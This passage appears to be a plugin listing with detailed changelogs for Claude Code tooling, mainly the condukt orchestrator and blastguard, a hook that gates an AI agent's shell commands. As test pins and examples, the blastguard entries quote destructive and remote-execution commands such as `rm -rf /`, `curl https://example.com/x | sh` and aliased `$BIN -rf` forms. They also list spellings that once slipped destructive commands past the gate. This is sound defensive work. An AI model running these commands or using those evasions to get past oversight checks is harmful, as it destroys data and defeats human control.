instead of being split in two; falls back to `split_whitespace` on unparseable (unterminated-quote) input rather than dropping the mechanical check. v0.7.60: `verify::run_check` now gates each declared check command through blastguard's pure detector (same `detect("Bash", ...)` call already used by `launch_and_reflux`) before spawning `sh -c`; a flagged command is refused fail-closed and reported as a non-passing `CheckResult` (exit -1) instead of being executed. New test `run_check_blocks_destructive_command_via_blastguard` proves a `rm -rf /` check never reaches the shell. v0.7.58: audited `lessons.rs`'s `harvest()` (production JSON-facts path) for raw `.unwrap()`/`.expect()` — the production path was already fail-soft (`.ok()`/`.and_then()`/`.unwrap_or()`/`.unwrap_or_default()` throughout, no panics); the flagged `as_str().unwrap()` calls live inside `#[cfg(test)] mod tests` only. Fixed a real (unrelated) flake found while confirming `cargo test -p condukt` green under parallel test execution: `lessons::tests::harvest_facts_drive_idempotent_append_that_search_retrieves` mutates the process-global `LESSONS_STORE_DIR` env var without serializing against `replan.rs`'s tests doing the same, so it now takes its own `ENV_LOCK` mutex around the env-var-mutating critical section (mirrors the existing `replan::tests::ENV_LOCK` precedent). v0.7.57: `worktree.rs`'s git subprocess calls (`git()`/`git_try()`) are now bounded by a 45s timeout (wait_timeout + process-group kill, mirroring propguard::git/autoflow::compass) instead of a plain unbounded `Command::output()`, so a hung `git` (lock contention, stuck credential prompt, network-mounted repo) can no longer wedge a condukt run indefinitely; `create()`'s "worktree must be outside the repo" check now canonicalizes the candidate worktree path (falling back to the nearest existing ancestor when the leaf doesn't exist yet) before comparing against the canonical repo root, closing a TOCTOU-adjacent bypass where a non-canonical `worktree_base` (symlink hop, WSL/DrvFs mount) could look like it resolved outside the repo when it actually didn't. v0.7.56: `verify::tests::skip_eligible_without_command_fails_soft` no longer relies on a `panic!` inside the invariant-violating runner closure to prove it is unreachable — it now records the invocation via a `Cell<bool>` flag, logs via `eprintln!`, and asserts the flag stays false, so an unattended run never aborts on this code path even in a hypothetical regression (production `mechanical_skip_verdict` behavior unchanged: it already refused to invoke the runner and returned a fail-soft `skip_verifier: false` verdict). v0.7.55: docs-only — SKILL.md Phase 7 now documents the `state reconcile` exit 2 (duplicate_completion) escalation branch (specguard spec-audit 2026-07-13 finding); no code/behavior change. v0.7.54: `gate_exec`'s escalate-finding call site follows overwatch's new `ReviewFinding.rationale`/`record_finding` signature (passes `None` — no behavior change, just keeps the call site compiling against the extended API). Deterministic orchestration engine for Claude Code: interpreter/researcher/worker/verifier skill pipeline plus a Rust binary that schedules tasks into parallel/serial batches by file-conflict analysis, manages the git-worktree lifecycle, tracks run state, and gates completion. v0.3: run resume across sessions (state resume-context + Phase 0-alt), stale-run reconcile (state reconcile auto-promotes merged branches to verified), benchmark stats (state stats), baseline test capture (Phase 4.5), pipeline verifier launch (no batch-wait), verifier-skip for mechanical done_criteria, auto-resume when 1 open run. v0.3.1: pause/resume (state pause/resume), paused-run indicator in state list, paused runs excluded from SessionStart notifications. v0.4.0: deterministic fugu-router outcome recording — a Stop hook fires `state record-run --all` (idempotent via per-run recorded_at; soft no-op without fugu-router), and `state set` accepts --model/--cost so recorded outcomes reflect the actual (escalated) model and gauge cost. v0.4.1: fix Phase 6 cost capture — read the session id from CLAUDE_CODE_SESSION_ID (the repo-standard var; CLAUDE_SESSION_ID never existed) and omit --session when unset so gauge falls back to the latest session instead of returning null; requires gauge >= 0.2.0 for `session --json`. v0.4.2: record true per-task cost — Phase 5 tags each worker's Task description with its task id, and Phase 6 reads per-sub-agent cost via `gauge subagents` (>= 0.3.0) matched by that description, instead of a lumped session total that would break fugu-router's cost-per-pass routing. v0.5.0: harden the verifier stage against two shared-blind-spot failures — `state verifier-model` deterministically resolves a verifier model that can never equal the worker model (no more worker==verifier==sonnet when fugu-router is absent), and `state check-criteria` now classifies done_criteria as behavioral vs purely mechanical and emits `skip_verifier`, so only purely mechanical criteria may bypass the LLM verifier; behavioral criteria always run it and a passing test is only evidence, never a substitute. v0.6.0: multi-sample self-consistency voting — a new `consensus` subcommand (`plan` gates an opt-in fan-out via config `[consensus] enabled`/`CONDUKT_CONSENSUS`/per-task `--risk high`; `vote` tallies N verifier verdicts for one task into a deterministic majority winner + agreement rate, escalating to opus on all-fail, a tie, or agreement below threshold). OPT-IN cost guard: OFF by default, small default N=3 clamped to a ceiling of 5. SKILL Phase 5.5 wires the fan-out (N candidate worktrees → verify each → `consensus vote` → winner, else opus redo) without adding any new stop point. v0.7.0: cross-session file-claim registry (PDO collision guard) — `state claim/release/heartbeat/claims` maintain a project-scoped `claims.json` that turns `conflict-check`'s one-time advisory snapshot into a live, enforcing file-level lease, so two condukt sessions on the same machine never process the same work. Enforcement is automatic: `state set --status running` auto-claims the task's touched_files and HARD-SKIPS (exits 1 with a skip JSON naming the live holder) when another live run owns any of them; terminal transitions auto-release; heartbeats keep a busy session's claims alive; stale claims (heartbeat older than the stuck-TTL) are reaped. Liveness is anchored to the heartbeat, not the ephemeral CLI pid. v0.7.1/0.7.2: task-claim lockstep bump / docker-isolated exec backend for verify launch (--docker, fail-soft). v0.7.3: deterministic RUN-POLICY gate — `run-policy decide` maps a cheap-verify result + production-divergence + change-risk to the next verify→docker→ship stage (verify_only|escalate_docker|escalate_ship|ask_human), fail-soft parsing to the safest value on unrecognized input; `run-policy stats` aggregates the decision log. SKILL Phase 6 wires the verdict into the docker-escalation decision for runtime/health done_criteria. v0.7.4: opt-in worker sandboxing — a `sandbox run` subcommand routes a worker's build/test through the docker exec backend with filesystem + resource isolation (`--network=none` reused, plus optional `--memory`/`--cpus`/`--pids-limit`/`--read-only`), gated by config `[worker] sandbox_enabled` / `CONDUKT_WORKER_SANDBOX`; OFF by default (worker keeps host-direct execution), and docker-absent degrades to the existing `docker_unavailable` fail-soft without host fallback. v0.7.7: deterministic in-code RUN-POLICY gate — `verify launch --run-policy` fuses decision and action with no LLM step between them: `verify::run_policy_gate` calls `decide_run_policy` and invokes the container launch ONLY on the `escalate_docker` verdict (other verdicts never launch), recording the chosen verdict to the run-policy JSONL when `--run` is given. Purely additive (existing `verify launch --docker`/`--health-url`/host paths unchanged); docker-absent keeps the `docker_unavailable` fail-soft with no host fallback. SKILL Phase 6 documents it as the canonical way the run→docker escalation is gated LLM-free. v0.7.21: activate `expected_trajectory` — Task gains an optional passthrough `expected_trajectory` field (`{mode, steps:[{tool}]}`), documented in the interpreter schema and SKILL.md Phase 1, and Phase 6 now derives `$EXPECTED_TRAJ`/`$WORKER_TRANSCRIPT` from the task JSON and the worker sub-agent transcript (via the same `gauge subagents` description correlation Phase 6 cost capture uses) so `trajectoryeval extract` → `check` actually fires when a task declares a trajectory. v0.7.24: deterministic replan/escalate decision — `replan::classify_failure` gains an authoritative `scope_mismatch: Option<bool>` signal (threaded from `replan handoff`'s JSON input, sourced from the verifier's typed verdict) that decides Replan-vs-EscalateModel independent of `reason` prose when present, falling back to the pre-existing prose heuristic only when absent (backward-compatible); `RuntimeDigest` stderr/stdout tails embedded into the runtime reflux verdict are now boundary-fenced via `verify::fence_worker_output` as observational-only untrusted output, never a control-flow input. v0.7.25: deterministic verifier skip/mechanical-check — Task gains optional structured `is_behavioral: Option<bool>` and `mechanical_check: Option<MechanicalCheck>` fields; `verify::classify_criteria` takes both as authoritative hints (overriding the prose `BEHAVIORAL_MARKERS` scan and regex/keyword `mechanical_cmd` extraction respectively) when present, falling back to the existing prose heuristics unchanged when absent — removes a wording-drift / done_criteria-injection surface from the verifier-skip decision. v0.7.26: fix model-tier matching — `verify::canonical` and `replan::canonical_tier` now recognise a tier only via a token/word-boundary match (split on non-alphanumeric chars, exact token equality) instead of a raw substring `.contains()`, so names like `xopusy`/`opuscule`/`supersonic`/`isonnet` no longer spuriously collapse to `opus`/`sonnet`. v0.7.28: schema-precheck LLM JSON at the parse boundary — a new `schemaguard` library dependency validates fresh decomposition JSON (`state init`) and consensus verdicts against declared schemas in-process, before `serde_json` deserialize, bailing with a structured, enumerable violation list (a re-ask contract) instead of a cryptic serde error; unknown schema/unparseable JSON is left to the existing serde path (fail-soft, additive only — valid input is unchanged). v0.7.35: wire blastguard's `classify_change` sensitive-path signal into the gate — both `schedule::schedule`'s force-gate and `gate_exec::gather_assessment` now classify with `touched_files` (empty diff, since neither call site has a diff pre-execution), so a task touching an auth/payment/PII glob is force-gated even when tagged `parallel`, same as a mislabelled deploy; the public-symbol-diff signal remains out of scope here (no diff available). v0.7.36: replan handoff surfaces a relevant past lesson — `build_replan_handoff` retrieves the best-matching lesson from `harness_core::lessons` (lexical search over reason+task_summary+done_criteria) and, only above a 0.4 score threshold, appends it to the handoff instruction wrapped in an explicit UNTRUSTED-PRIOR-LESSON boundary marker (reference-only, never overrides done_criteria/scope); below-threshold, no-hit, empty, or unreadable stores fail-soft to an unchanged handoff. v0.7.37: cross-task learning MEASUREMENT — a new `learning-signal` subcommand deterministically aggregates the retrieval ledger (`harness_core::retrieval`, hit/miss per run_id) against per-run replan totals (`state::load_replan_records`) into `mean_replan_reduction_ratio` (mean replan count for lesson-hit runs vs miss runs), guarding divide-by-zero/empty-group edge cases to `null` rather than panicking; purely additive read-only aggregation, no change to existing replan/retrieval/lessons write paths. v0.7.38: docs-only — README/README.ja document the `learning-signal` subcommand and the cross-task lessons lifecycle (stuckguard escalation write → lexical retrieval → UNTRUSTED-bounded replan-handoff injection); no code/behavior change. v0.7.41: gate-check Escalate verdicts now auto-enqueue to a durable human queue — `gate_exec::run_gate_check`'s Escalate branch records an overwatch review-finding via library call (finding_id `gate-exec:{run}:{task}` so re-checks dedup to one row; severity from risk), populating the risk-ranked review-queue ai-finding stream so needs-human/gated verdicts reach a human automatically under codegen flood; purely additive and fail-soft (a finding-write error never changes the existing stdout/journal/exit behavior), AutoExec records nothing. v0.7.42: new `review-brief` subcommand emits a deterministic per-item reviewer digest (markdown/JSON) for a run/task from STATIC persisted signals only (no LLM/API) — intent (goal+title+done_criteria+kind), declared touched files/symbols, sensitive-path + tripped-invariant risk drivers (overwatch violations keyed to this run/task), and an ordered look-here-first list; honestly scoped to declared files + persisted signals (hunk-level enclosing-function and live-diff recompute out of scope). Subscription-native (skill + agents + hook, no API key). v0.7.44: `escalate add` gains content-dedup backpressure — a re-enqueue with an identical (run, task, question) that is still OPEN returns the existing record instead of appending a duplicate, so repeated re-asks under codegen flood collapse onto one durable record; a RESOLVED match does not dedup, so a re-ask after an answer still creates a fresh open record. v0.7.45: novelty/precedent detection (Google LSC "reviewed-once-applied-broadly") — a new `precedent` subcommand (`ratify`/`list`/`check`) records a ratified change's declared shape (touched files + target symbols) as a structural fingerprint (order-independent FNV-1a hash) in a fail-soft project-scoped store; `review-brief` now loads the store and, ONLY for a routine change (no sensitive path, no tripped invariant), downgrades `risk_tier` to `low` when the declared shape exact-matches a precedent's fingerprint or clears an 0.8 Jaccard-similarity tolerance on both files and symbols, surfacing the match as `precedented` (additive JSON field, absent when unset). SAFETY INVARIANT: a sensitive-path or tripped-invariant High is NEVER downgraded by a precedent match. Backward-compatible: an empty precedent store renders a byte-identical brief to today. v0.7.46: new `review-worthiness` subcommand — a deterministic review-WORTHINESS (review-COST) score, distinct from blastguard/diffrisk's blast-radius, summing four bounded penalty terms (size scaled by total changed lines, net-deletion, missing-rationale, absent-task-link) into a `score` + human-readable `drivers`; primary flag mode is hermetic (no git), an optional fail-soft `--from-git` convenience mode gathers numstat/log signals from a live repo. Kept fully separate from `review-brief`'s no-live-diff purity contract; feeds a future review-budget allocator. v0.7.47: new `review-order` subcommand — a deterministic review-ORDER pass that reorders a diff's hunks so a human reviews top-to-bottom: a fresh unified-diff hunk parser plus a pure edge-builder/orderer clusters logically-connected hunks (union-find weakly-connected components) and topologically sorts each cluster (Kahn's algorithm, deterministic min-key tiebreak/cycle-break) so definitions come before the hunks that reference them, reusing blastguard's caller-enumeration and harness-core's symbol extraction as the reference/definition source; `--diff-file` is the hermetic tested contract, `--from-git` a fail-soft convenience.

    Claude Code2 skills
  33. compass0stars

    v0.1.15: cargo fmt --all reformatting only (fixes the 'build & commit plugin binaries' smoke workflow's `cargo fmt --all --check` gate, chronically red on main since 2026-07-21 per scripts/check-ci-red.py); no behavior change. Goal re-grounding + next-move derivation upstream of condukt; subscription-native.

    Claude Code1 skill
  34. Real-time cost budget gate for Claude Code: on Stop, read the session transcript, compute USD cost, and block the turn when session or daily limits are exceeded — feeding the overage back so the agent winds down gracefully. Subscription-native (one Stop hook + bundled Rust binary, no API key).

    Claude Code
  35. v0.2.56 is an integration: both lines independently shipped a 0.2.55 that were different changes of the same number, so the merged plugin has to exceed both. From this line: the `callgraph` implementation body moved into `harness_core::callgraph` and blastguard keeps only a re-export. From the remote: the inline-eval payload audit below. v0.2.55 integrates this machine's line, whose own v0.2.52 was a DIFFERENT change from the remote's v0.2.52 of the same number (that one was a comment-only taintguard-reference cleanup). What lands here: inline-eval detection moved from matching the SHAPE of a command to auditing the PAYLOAD it delivers, closing six spellings of the same capability that the shape match let through (here-document, here-string, pipe, bare `-`, /dev/stdin, process substitution). `python3 -c "print(1)"` and `python3 -m pip install` stop being denied for their shape; `echo 'rm -rf /' | bash` starts being denied for its content. Two defects an independent verifier found in that work were fixed before it landed: findings were being asserted from bare English needles scanned across the whole command line (so `echo 'please unlink (later)' | python3` was denied for a call it does not make), and rule_id.rs's mapping had gone dead so every new reason classified as "unknown". v0.2.54: the 0.2.53 store's two reads went through raw `std::fs::read_to_string` in a GATE crate's `src/` tree; `check-raw-io-ratchet.py` blocked the commit ("count ROSE 48 -> 50") and was right. Re-routed through `harness_core::boundary::read_to_string`, which already draws the one distinction `lookup` turns on -- `Known(None)` is absence (`NotFound` alone) and every other kind, `PermissionDenied` included, is `Undetermined` -- rather than re-pinning the baseline. Ratchet back to 48, floor held. Also closed a vacuity in the memory's own test: `approved_entries()` returned `Vec::new()` on ANY `read_dir` error, so control (iv)'s `assert!(...is_empty())` could pass for the wrong reason -- the empty-collection fallback `fail-open-guard` names, inside the test whose job is to not be vacuous. Absence alone is now empty; any other failure panics. No verdict changed. v0.2.53: an `Ask` a human already answered is no longer asked again. New `approve` module + a `PostToolUse` half (`blastguard record-approval`): `PreToolUse` stashes a PENDING fingerprint of the effect it is asking about, and the tool actually RUNNING promotes it to an approval -- a denied call produces no `PostToolUse`, and a refused ask never runs, so execution IS the evidence a human said yes, which a `PreToolUse` hook can never observe for itself. The fingerprint is the EFFECT, never the script: the whitespace-normalised command text (so changed PARAMETERS are a different key -- `chmod -R 755 sub` approved says nothing about `chmod -R 777 sub`), plus every token's RESOLVED real path (so re-pointing a symlink after approval moves the key instead of inheriting it), plus each resolved target's CONTENT HASH (so a target changed under a standing approval is re-judged). Only `Ask` -> `Allow`: `Deny` is structurally out of reach, since the downgrade lives in the single `Decision::Ask` arm. An approval is only COMPUTABLE when every token lands strictly `Inside` a safe root, so an effect reaching outside the project is not "approved with caveats" -- it is not representable in the store. Every unknown resolves to no-approval, i.e. the ask stands: an expansion or quoting the whitespace tokeniser cannot faithfully split, an unprobeable target, an unreadable store, an entry that does not parse or does not name the fingerprint it is filed under, and an empty store (first use). Nine end-to-end anti-vacuity controls in `tests/approval_memory.rs`, observed RED first: four failed for exactly the four "the memory works" assertions (second run does not ask; a different store asks; changed parameters ask; changed target content asks) and the reason a `TempDir` is not used is written down -- `/tmp` is a safe ROOT, so a project under it has no outside. Why this exists: `taintguard` was retired by user ruling on 2026-08-24 for asking about ordinary work, and an unanswerable-ask gate teaches its operator to stop reading the question. v0.2.52: comment-only. The launcher (`bin/blastguard`) and `tests/launcher_missing_binary.rs` both contrasted this crate's single-entrypoint shape with "taintguard/ctxrot"'s gate/mark/clear split; taintguard was removed from the repo on 2026-08-24 by user ruling, so the comparison now names ctxrot alone. No logic change, no change to any verdict. v0.2.50: doc-only — records what the 0.2.44→0.2.49 work actually achieved, measured, and records the method, because `blastguard retro` CANNOT measure it. `retro` reads history: the verdicts already written into the transcripts. Re-running it after a decision arm changes measures nothing about the change. Seeing the effect requires feeding each recorded command back through the new binary — and NOT from `--list` output, because `--list` squeezes whitespace while NEWLINES ARE SEGMENT SEPARATORS to the resolver under test: a squeezed `BIN=x` + newline + `cd "$SB"` becomes `BIN=x cd "$SB"`, a same-segment prefix assignment, which is a different construct and answers differently by construction. The raw command has to be re-joined from the transcript by `toolUseID`, two passes per file, since the `tool_use` block is written BEFORE the hook attachment. Measured 2026-08-07 at `e306331c`: of 115 recorded `unresolvable-command-word` interventions with a recoverable raw command, 49 no longer produce that ask (45 Allow, 4 moved to a different and still restrictive ask), 66 still ask for the same reason, and 0 moved to Deny — a weak but real assurance that this corpus contained no destructive command hiding behind an expansion. The pre-estimate was 70, from a coarse regex ("a literal assignment of this name with no `&&`/`||` before it"); the shipped resolver is stricter, and the 21-command gap is itself measured rather than explained: 10 go through `export`/`declare` (the stale-literal path the 0.2.48 second-author audit closed, so refusing them is correct), 9 are heads with text glued around the reference (`"$D/bin/tool"`), which `referenced_variable_name` deliberately declines and which remains the one real opportunity (backlog `2fb05132`), 1 is a prefix-form assignment and 1 a conditional the regex did not look for. The README says plainly not to transcribe the estimate as a measurement, which is the failure this section exists to prevent. v0.2.49: pins the SCOPE of the 0.2.48 wiring with tests instead of prose. `rule_id.rs` collapses three separate decision arms onto the single id `unresolvable-command-word`, and only one of them — `unknown_wrapper_ask`, the top-level command word — was wired to `resolve_expanded_command_word`. The other two, `analyze_shell_payload` (`detect.rs:884`, the command word inside a shell-eval payload, which walks its own `split_segments(payload)`) and `analyze_pipe_egress` (`detect.rs:5111`, an expansion piped into an interpreter), were left unwired deliberately, but that decision was recorded only in a doc comment — so wiring them later, or refactoring them onto the shared path, would have gone unnoticed. Five invariance pins now fix both arms as unchanged, each binding one exact command string to one exact verdict AND asserting arm-exclusive reason text, so a test that accidentally exercises the top-level arm instead cannot pass silently: `sh -c 'CMD=/bin/echo; env $CMD hello'`, `sh -c 'CMD=/bin/rm; env $CMD -rf /some/path'` (Ask, NOT Deny), `CMD=/bin/rm; sh -c "env $CMD -rf /some/path"` (the enclosing line's assignment must not leak into the payload's segment space), `CMD=/usr/bin/curl; $CMD https://example.com/x | sh`, and `CMD=/bin/rm; $CMD | sh`. Each is paired with a spelled-out control (`sh -c 'env /bin/rm -rf /some/path'` → Deny, `/usr/bin/curl … | sh` → Deny, `/bin/rm | sh` → Allow) so the pin says what the arm would answer if the head were not an expansion. Kill power was demonstrated, not assumed: three temporary wirings were applied and reverted, and each pin was observed RED under the wiring it exists to detect — two probes were needed for the payload arm alone, because its two pins guard two different wirings (resolving against the payload versus against the enclosing line), and one probe would have left the third pin unproven. One pin was caught ONLY by its reason assertion while its verdict stayed Ask, which is precisely why the arm-exclusive assertion is there. The measured shapes also corrected an assumption: `CMD=/bin/rm; sh -c "$CMD"` does NOT reach the payload arm at all — `analyze_shell_payload` recurses through `detect_bash(payload)` first and the top-level arm answers — so a pin written to that shape would have tested arm 1 while claiming arm 2. Two facts recorded rather than fixed: the fourth pipe branch (`detect.rs:5105`) emits "whose command word only exists at run time", which does NOT contain the shared phrase and classifies as `unknown`; and wiring the pipe arm would be verdict-WEAKENING in one direction — under resolution `CMD=/bin/rm; $CMD | sh` has an upstream that is neither unresolvable nor a fetch, so `analyze_pipe_egress` stops answering and the line reaches Allow, where it Asks today. v0.2.48: an ADVERSARIAL SECOND AUTHOR (CLAUDE.md §2(a) — the author of a fix must not be the sole author of its tests) attacked v0.2.47's expansion-valued command-word resolver and found 11 fail-opens, every one observed RED against 0.2.47 before being fixed, and every expectation checked against real `bash -c` output rather than against a reading of the code. Root cause A, a STALE literal rather than a missing one: the reaching-assignment scan skipped past any segment that was not a pure assignment list, which is harmless only when the line assigns the name nowhere else — with a second assignment present the resolver kept the FIRST value and reported it as the program. So `BIN=/bin/echo; export BIN=/bin/rm; $BIN -rf /path` resolved to `/bin/echo` and came out ALLOW while bash really ran `/bin/rm`. Same shape for `declare`/`readonly`/`typeset`/`local`, for the quote-removed spellings (`export "BIN=/bin/rm"`, `export 'BIN'=/bin/rm`), for an assignment carrying a trailing comment, for a rebinding inside a brace group, a compound command, or a function body, for a `for` loop control variable, for `eval`/`source`/`.`, for `unset`, for `read`/`printf -v`, and for the append form `BIN+=/rm`. This also contradicted the resolver's own doc comment, which claimed `export NAME=value` was ignored and left the answer at `NoReachingAssignment`; the comment was wrong about its own code and is rewritten rather than kept. Root cause B: a HERE-DOCUMENT body was read as code, so `BIN=/bin/rm` + `cat <<EOF` / `BIN=/bin/echo` / `EOF` + `$BIN -rf /path` took the body line — data bash only prints — as the winning assignment and allowed a real `rm`. Root cause C: `BIN=(/bin/rm)` is an array, and `unquote_literal_value` handed back the text `(/bin/rm)`, whose basename `rm)` matches no rule and fell to the catch-all Allow. Root cause D: the substitutive re-judge DROPPED the working directory, so `cd .githooks; BIN=/bin/rm; $BIN pre-commit` allowed what `cd .githooks; rm pre-commit` denies — resolving the head made the verdict WEAKER than not resolving it. That arm now refuses (new rule id `resolved-head-lost-cwd`, kept separate from `unresolvable-command-word` so `retro` can count it) whenever a resolution gains a relative operand that `verb_targets` has an opinion about and an earlier `cd`/`pushd` moved the tree; a Deny still wins, since it was reached on strictly less information than the real command carries. The narrowing matters: the first spelling of this fix broke the corpus shape that is 70 of the 115 measured interventions, and `condukt` is not a verb `verb_targets` knows, so that shape is untouched. Five INVARIANCE PINS were added alongside and are labelled as such rather than presented as finds — they passed immediately, and three of them caught the fixes over-reaching. Known residual, reported and deliberately NOT pinned as expected behaviour: a call to a shell function defined off the line (`BIN=/bin/echo; myfunc; $BIN …`) is textually identical to an external command, which cannot touch the parent shell's variables, so separating them needs knowledge this file does not have. One movement is not towards Deny and is stated plainly: `BIN=(/bin/rm /bin/echo); $BIN …` went deny→ask, because the old Deny was accidental (`basename("(/bin/rm")` is `rm`) and already inconsistent with the spaced spelling, which asked; a uniform Ask is the honest answer for a construct the resolver does not model. v0.2.47: WIRES the v0.2.46 resolver into exactly ONE decision arm — the CA-blastguard-017 head check in `unknown_wrapper_ask` — and closes the conditional-guard hole v0.2.46 shipped as a stated known limit. Measured motivation (2026-08-07, `blastguard retro --project <this repo> --rule-id unresolvable-command-word`): 115 interventions, 115 approved and run, 0 prevented, and 70 of them assign the head a LITERAL earlier on the same line, so the program IS readable from the text. The resolution is SUBSTITUTIVE, never a skip: a `CommandWordOrigin::Literal` replaces the expansion token and the rewritten segment goes back through the full rule engine, so `RM=/bin/rm; $RM -rf /path` now reaches the same DENY that `rm -rf /path` does. Merely suppressing the ask on finding a literal would have re-opened CA-blastguard-017 under a new name: the tail this arm goes on to examine is only the ARGUMENTS, and `-rf /path` is a flag and a bare path that does not parse as destructive on its own — which is exactly how the unexamined head reached Allow in the first place. Every way the line FAILS to name the program keeps the pre-existing Ask: no reaching assignment (`$RM -rf /path`), a right-hand side that is itself an expansion (`$(which rm)`, backticks), an assignment only AFTER the use, a same-segment prefix assignment (`RM=/bin/rm $RM …`, since the shell expands the word before applying the prefix), an assignment across a pipe (both stages are subshells), and, new in this version, an assignment whose execution is conditional. `assignment_execution_is_unconditional` now refuses anything standing after a `&&`/`||` OR after a segment that opens a compound command or a subshell (`opens_unmodelled_construct`: a first word of `if`/`then`/`elif`/`else`/`while`/`until`/`for`/`do`/`case`/`select`, or a leading `(`), because a NEWLINE-formatted `if foo` / `BIN=x` / `fi` hands `split_segments` a body segment that is a pure assignment list with ordinary separators on both sides and nothing at all marking it as guarded. That refusal costs 9 of the 115 by measurement and is the correct price: whether the assignment ran is an exit status the text does not contain, and a value that may not have been assigned is not a value the gate may believe. The guard's tests deliberately pin a BENIGN value (`/bin/echo`), because with a destructive value a missing guard surfaces as a Deny — more restrictive, therefore invisible — whereas a benign one exposes it by turning the pre-existing Ask into an Allow. The other two arms that emit this same reason string, `analyze_shell_payload`'s `unresolvable_command_word` and the pipe-egress check, are deliberately NOT wired and keep their Ask byte-for-byte. `cargo test -p blastguard` (246 unit + all integration suites) and `cargo clippy -p blastguard --all-targets` clean; the F→P oracle reports `valid_fp_oracle: true`. v0.2.46: NO BEHAVIOUR CHANGE — adds the pure text analysis that a later change will use to answer whether an expansion-valued command word (`$BIN`, `"$BIN"`) is knowable from the line it sits on, and nothing else. Every item is `#[cfg(test)]`, so it is compiled only for the test binary and no decision arm calls it; every verdict blastguard produces is byte-for-byte what 0.2.45 produced. Motivation, measured over this repo's transcript corpus (`blastguard retro --rule-id unresolvable-command-word`): 115 interventions, 115 approved and run, 0 prevented — and 80 of them assign the variable a LITERAL value earlier on the same line, so the program IS readable from the text. `resolve_expanded_command_word` answers with a three-valued `CommandWordOrigin` (`Literal` / `NoReachingAssignment` / `AssignedButUnknowable`) rather than an `Option<String>`, because a `None` would conflate 'nothing assigns that name' with 'something assigns it, to text I cannot read' — only `Literal` could ever suppress an Ask. The hard part is which assignments REACH the use, which `split_segments` cannot answer because it discards the separator; a twin `split_segments_with_separators` keeps it, and each separator's behaviour was verified against `bash -c` rather than assumed: `;`/newline/`&&`/`||` reach, `|` and `&` do not (each side is a subshell), a same-segment prefix assignment does not (the shell expands the word BEFORE applying the prefix), and `NAME=value cmd` does not survive its own segment. A reachable but EMPTY value (`X=; $X foo`) resolves to the restrictive side, since the word then vanishes and some later token becomes the program. v0.2.35: doc-only fix — README.ja.md:31-33 claimed `.claude/settings.json` (among other config files) is *always* excluded (allow) from blastguard's destructive-op checks, contradicting `exclude.rs`'s actual precedence: `PROTECTED_GLOBS` (settings.json, hooks.json, hooks/**, .githooks/**, etc. — files that decide which gates/hooks run at all) OUTRANKS `ALLOW_GLOBS` and resolves those paths to unconditional Deny, never to the config-file exemption (backlog 333da6a8). README.ja.md now states the gate-control-file carve-out explicitly. No behavior change. v0.2.34: closes the launcher's (bin/blastguard) genuine fail-open when no per-platform binary is bundled for the host — the old launcher printed a stderr warning and silently `exit 0`'d with no stdout, byte-for-byte indistinguishable downstream from a real Allow verdict (backlog 2ec9d740; the exact gap v0.2.33's doc fix had only documented, not closed). The launcher now emits a PreToolUse hook-JSON verdict on the missing-binary path, mirroring `crate::interactive::ask_available`'s env-var resolution exactly: `BLASTGUARD_ASK=never` forces deny, `=always` forces ask, and `auto`/unset asks only when `CLAUDECODE=1` AND `CLAUDE_CODE_ENTRYPOINT=cli` (the one measured affirmatively-interactive shape) and denies otherwise — never a silent allow in any case. New `tests/launcher_missing_binary.rs` (5 tests) runs the real shell launcher as a subprocess against a binary-less tempdir with fully-controlled env, observed RED (empty stdout / unparseable JSON) against the pre-fix launcher before the change and GREEN after; `cargo test -p blastguard` (190 unit tests + all integration suites) and `cargo clippy -p blastguard --all-targets` stay clean. v0.2.33: doc-only fix — README.md/README.ja.md described panic/undetermined handling with a blanket "never breaks a turn" framing that conflated "stays silent (allow)" with "resolved by catch_unwind to deny", and understated the launcher's (bin/blastguard) real fail-open when no per-platform binary is bundled (warns to stderr, exits 0, no analyser runs at all). Docs now state the actual Decision::{Allow,Deny,Ask} resolution: empty/invalid input and unmatched tools are determined-nothing-to-judge (silent allow); an internal panic is undetermined and resolves to Deny via catch_unwind in analyse(); a missing bundled binary is a separate, genuine fail-open gap since no analyser exists to resolve anything in that case. No behavior change; see crates/blastguard/src/main.rs and crates/blastguard/bin/blastguard for the code these docs now match. v0.2.32: extends the high-blast Ask tier's category (A) — a `git push` refspec argument whose SOURCE side (the part before the first `:`, or the whole token if there is no `:`) begins with a literal `+` (`origin +main`, `origin +refs/heads/x:refs/heads/x`) now Asks exactly like `--force`/`-f`/`--force-with-lease`, since that `+` is git's own pre-flag force-refspec syntax and forces the update of that one ref identically. New `refspec_source_is_force` only inspects non-flag tokens, so `-u`/`--set-upstream` and its operand, a plain remote/branch/tag name, and a non-force colon refspec (`HEAD:main`, `src:dst`, no `+`) all stay silently Allow — verified by a dedicated anti-vacuity test. New cases in `tests/high_blast_tier.rs` (RED observed against a stashed pre-fix `detect.rs` via `tdd red`, GREEN via `tdd green`, `tdd oracle` reports `valid_fp_oracle: true`) cover the ask/deny-hardening shapes, the anti-vacuity allow-list, and non-regression of the existing flag-force/category-B/category-C arms; `cargo test -p blastguard` (all suites) and `cargo clippy -p blastguard --all-targets` stay clean. v0.2.31: adds a CONSERVATIVE high-blast-radius Ask tier for novel destructive/irreversible Bash shapes the existing deny-list has no rule for — folded into `detect_bash` right before the per-command accumulator's Allow fallthrough, so any pre-existing Deny (protected path, egress, fork bomb, recursive rm, find -delete/-exec rm) still outranks it (Deny > Ask > Allow). Three narrow, individually-MEASURED gaps: (A) `git push` carrying a force flag (`--force`/`-f`/`--force-with-lease[=…]`) — `analyze_git`'s `match` had no `"push"` arm at all, so a history-rewriting force-push fell to the `_ => Allow` catch-all; a normal (non-force) push is unaffected. (B) `curl`/`wget` uploading local file content (`-d @file`/`--data-binary @file`/`-F name=@file`/`-T`/`--upload-file`, the exact shape the pre-existing `fetch_exfil_upload` already denies) to a URL with NO literal `://` scheme — curl/wget both default a bare `host/path` operand to `http://`, so the upload still happens, but the pre-existing rule's own scheme gate never even looks at the flags in that case; `upload_flag_operand` is factored out of `fetch_exfil_upload` so both the scheme-present Deny and the scheme-absent Ask share one flag-detection path. (C) a plain, non-recursive `rm`/`unlink` of a single operand that climbs OUT of the tree via a leading `../` with no preceding `cd`/`pushd` to explain where it lands — judged on the ALREADY cwd-resolved segment `detect_bash`'s existing per-segment loop produces (not a fresh top-level scan), so a `cd` that lexically resolves the `..` back to an ordinary place (`cd .githooks && rm ../src/build.o`) correctly stays Allow, matching a pre-existing pinned test for that exact shape. Measured, not assumed: `rm -rf`/wildcard/`find -delete`/`find -exec rm` needed no new rule at all — they are already an UNCONDITIONAL Deny regardless of target location; and an absolute-path rm (`rm /tmp/scratch.txt`, `rm /etc/passwd`) is deliberately left OUT of scope — it is existing, tested Allow behaviour (`ordinary_single_file_rm_stays_allowed`) for 